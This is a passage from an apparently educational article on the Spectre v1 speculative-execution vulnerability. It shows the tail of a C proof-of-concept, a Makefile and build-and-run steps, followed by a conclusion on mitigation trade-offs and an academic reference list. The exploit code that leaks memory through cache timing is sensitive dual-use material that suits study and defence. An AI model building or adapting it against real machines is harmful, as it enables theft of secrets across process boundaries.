printf("(second best: 0x%02X='%c' score=%d)", value[1],

(value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);

}


printf("\n");

}

return (0);

}
```

Makefile

```
CFLAGS += -std=c99 -O0



PROGRAM = spectre.out

SOURCE = spectre.c



all: $(PROGRAM)



GIT_SHELL_EXIT := $(shell git status --porcelain 2> /dev/null >&2 ; echo
$$?)



ifeq ($(GIT_SHELL_EXIT),0)

GIT_STATUS := $(shell git status --porcelain)

ifndef GIT_STATUS

GIT_COMMIT_HASH := $(shell git rev-parse HEAD)

CFLAGS += -DGIT_COMMIT_HASH='"$(GIT_COMMIT_HASH)"'

endif

endif



$(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE)



clean: ; rm -f $(PROGRAM)
```

How to Build and Run

```
make

./spectre.out
```

Conclusion

Spectre v1 highlights a fundamental challenge in computer security, revealing the long-standing trade-off between performance and security in modern processor design. Unlike typical software vulnerabilities, it cannot be fully patched and requires careful consideration of how hardware speculation affects program behavior.

Key takeaways:

1. Spectre v1 exploits speculative execution, not coding errors.
2. Cache timing side channels make transient execution observable.
3. Mitigations involve trade-offs between security and performance.
4. The vulnerability affects most modern processors.
5. Complete protection needs coordinated hardware and software solutions.

The research community continues to identify new Spectre variants and improved defenses. As of 2025, Spectre v1 remains an active area of study, with no single solution that fully eliminates the risk without impacting performance.

References

[1] Kocher, P., Horn, J., Fogh, A., Genkin, D., Gruss, D., Haas, W., Hamburg, M., Lipp, M., Mangard, S., Prescher, T., Schwarz, M., & Yarom, Y. (2018). Spectre Attacks: Exploiting Speculative Execution. *Proceedings of the 40th IEEE Symposium on Security and Privacy*. https://spectreattack.com/spectre.pdf

[2] Lipp, M., Schwarz, M., Gruss, D., Prescher, T., Haas, W., Fogh, A., Horn, J., Mangard, S., Kocher, P., Genkin, D., Yarom, Y., & Hamburg, M. (2018). Meltdown: Reading Kernel Memory from User Space. *27th USENIX Security Symposium*. https://meltdownattack.com/

[3] Kiriansky, V., & Waldspurger, C. (2018). Speculative Buffer Overflows: Attacks and Defenses. *arXiv preprint arXiv:1807.03757*. https://people.csail.mit.edu/vlk/spectre11.pdf

[4] Oren, Y., Kemerlis, V. P., Sethumadhavan, S., & Keromytis, A. D. (2015). The Spy in the Sandbox: Practical Cache Attacks in JavaScript and their Implications. *Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security*, 1406-1418.

[5] Schwarz, M., Schwarzl, M., Lipp, M., & Gruss, D. (2018). NetSpectre: Read Arbitrary Memory over Network. *arXiv preprint arXiv:1807.10535*.

[6] Intel Corporation. (2018). Speculative Execution Side Channel Mitigations. https://software.intel.com/sites/default/files/managed/c5/63/336996-Speculative-Execution-Side-Channel-Mitigations.pdf

[7] Advanced Micro Devices. (2018). Software Techniques for Managing Speculation on AMD Processors. http://developer.amd.com/wordpress/media/2013/12/Managing-Speculation-on-AMD-Processors.pdf

[8] Hill, M. D., & Marty, M. R. (2018). On the Spectre and Meltdown Processor Security Vulnerabilities. *IEEE Micro*, 38(2), 9-19.

[9] Carruth, C. (2018). RFC: Speculative Load Hardening. *LLVM-dev mailing list*. http://lists.llvm.org/pipermail/llvm-dev/2018-March/122085.html

[10] Taram, M., Venkat, A., & Tullsen, D. (2019). Context-Sensitive Fencing: Securing Speculative Execution via Microcode Customization. *Proceedings of the 24th International Conference on Architectural Support for Programming Languages and Operating Systems*, 395-410.

[11] Linux Kernel Documentation. (2023). Spectre Side Channels. https://www.kernel.org/doc/Documentation/admin-guide/hw-vuln/spectre.rst

[12] Kocher, P. (2018). Spectre Mitigations in Microsoft's C/C++ Compiler. https://www.paulkocher.com/doc/MicrosoftCompilerSpectreMitigation.html

[13] The Chromium Projects. (2018). Site Isolation. http://www.chromium.org/Home/chromium-security/site-isolation

[14] Pizlo, F. (2018). What Spectre and Meltdown mean for WebKit. *WebKit Blog*. https://webkit.org/blog/8048/what-spectre-and-meltdown-mean-for-webkit/

[15] McCalpin, J. D., & Kennedy, P. (2018). Measuring the Impact of Spectre and Meltdown. *arXiv preprint arXiv:1807.08703*. https://arxiv.org/pdf/1807.08703

[16] Evtyushkin, D., Ponomarev, D., & Abu-Ghazaleh, N. (2021). Spectre Attack Cannot Be Detected by Anti-Virus. *Texas A&M University Technical Report*.

[17] Intel Corporation. (2018). Bounds Check Bypass / CVE-2017-5753 / INTEL-SA-00088. https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/bounds-check-bypass.html

[18] Red Hat Customer Portal. (2018). CVE-2018-3693: Spectre v1 subvariant - Speculative Bounds Check Bypass Store. https://access.redhat.com/solutions/3523601

[19] Linux Kernel Documentation. (2023). Spectre Side Channels - Hardware vulnerability mitigation. https://docs.kernel.org/admin-guide/hw-vuln/spectre.html

[20] Kaspersky. (2022). Spectre vulnerability: 4 years after discovery. https://usa.kaspersky.com/blog/spectre-meltdown-in-practice/26100/